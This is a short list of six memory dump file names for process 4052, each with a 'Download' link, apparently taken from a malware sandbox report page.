memory/4052-42-0x0000000007E00000-0x0000000007E1A000-memory.dmp

Download

memory/4052-43-0x0000000007DE0000-0x0000000007DE8000-memory.dmp

Download

memory/4052-5-0x00000000058F0000-0x0000000005F18000-memory.dmp

Download

memory/4052-4-0x0000000002EE0000-0x0000000002EF0000-memory.dmp

Download

memory/4052-3-0x0000000002E80000-0x0000000002EB6000-memory.dmp

Download

memory/4052-2-0x0000000002EE0000-0x0000000002EF0000-memory.dmp

Download